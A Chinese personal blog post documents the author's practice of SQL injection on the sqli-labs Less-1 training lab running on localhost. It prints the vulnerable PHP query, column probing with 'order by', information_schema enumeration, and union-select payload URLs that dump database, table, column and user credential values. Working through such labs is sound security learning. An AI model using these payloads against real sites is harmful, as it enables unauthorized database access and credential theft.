sql注入

0X00
wing

注入地址:http://127.0.0.1/sql/Less-1?id=1

常用函数:1.version() –>数据库版本
user() –>数据库用户名
databases() –>数据库名
@@version_compile_os –>os version
group_cocat(srr1,str2) –>一次性查出所有信息

union和union all 的区别是union不允许重复

输入:
http://127.0.0.1/sql/Less-1?id=1%20%27order%20by%203--+
没有报错

后台代码:

if(isset($_GET['id'])) { $id=$_GET['id']; $fp=fopen('result.txt','a'); fwrite($fp,'ID:'.$id."\n"); /*这两个函数把我们的payload保存了下来*/ fclose($fp); $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"

可以看到,并没有对id进过滤
继续输入:
http://127.0.0.1/sql/Less-1?id=1%20%27order%20by%204--+
报错显示,未知的列,由此确定有三列数据。

ps:我们在提交请求的过程中,payload会被url编码,常见的如下:
“!” %21
“”” %22
“#” %23
“$” %24
“%” %25
“&” %26
“‘“ %27
“(“ %28
“)” %29
“*” %2A
“+” %2B
“,” %2C
“-“ %2D
“.” %2E
“/“ %2F
更多
mysql版本大于5.0的,存在一张information_schema数据表,保存了mysql服务器上所有信息,有数据库名,数据库表,访问权限,可以说有很详细的信息,当然包括管理员的账号密码。

猜数据库
select schema_name from information_schema.schemata
猜某库的数据表
select table_name from information_schema.tables where table_schema=’xxx ’
猜某表的所有列
Select column_ name from information_schema.columns where table_name=’xxx ’
获取某列的内容
Select * from *

http://127.0.0.1/sql/Less-1?id=-1%27union%20select%201,group_concat(schema_name),3%20from%20information_schema.schemata--+

id后面加-1让他错误,然后输出union select 的内容。

出来了这几个数据库:
Your Login name:information_schema,challenges,dvwa,just,mysql,pentesterlab,performance_schema,pscan,security,test Your Password:3
测试dvwa数据库!
http://127.0.0.1/sql/Less-1?id=-1%27union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=%27dvwa%27--+
回显:
Your Login name:guestbook,users Your Password:3

猜解users表
http://127.0.0.1/sql/Less-1?id=-1%27union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=%27users%27--+
回显:
Your Login name:user_id,first_name,last_name,user,password,avatar,username,password,email,userhash,id,username,password Your Password:3

最后的重点来了咩,user和password字段的值:
http://127.0.0.1/sql/Less-1?id=-1'union select 1,username,password from users--+
回显:
Your Login name:Dumb Your Password:Dumb
我建立博客的目的就是为了把学过的东西能够自己做一个整理,但是有时候很杂,自己说不清楚,因为知识面不够,好的嘛,等我知识面够了,再写自己想写的。
:smile:


   转载规则


《sql注入》 Wing 采用 知识共享署名 4.0 国际许可协议 进行许可。
 上一篇
python切片 python切片
0X00 list切片 倒序切片 字符串切片 0X01 list切片假设这里有一个list>>>L=['wing','sunny','fancy']需要取前两个元素&g
2017-05-13
下一篇 
那年,我十八岁 那年,我十八岁
五月,烟火里的尘埃。烟花再美,眨眼即逝!留下来的,只有记忆。记忆是否会老去,人是否也会离去,代码无法告白,只能随风而去。这个年纪的我们,太过痴情,明知放下才是最好,却始终学不会。听过那么多大道理,看过那么多剧情,然而我们,依然每天都在重复
2017-05-04
  目录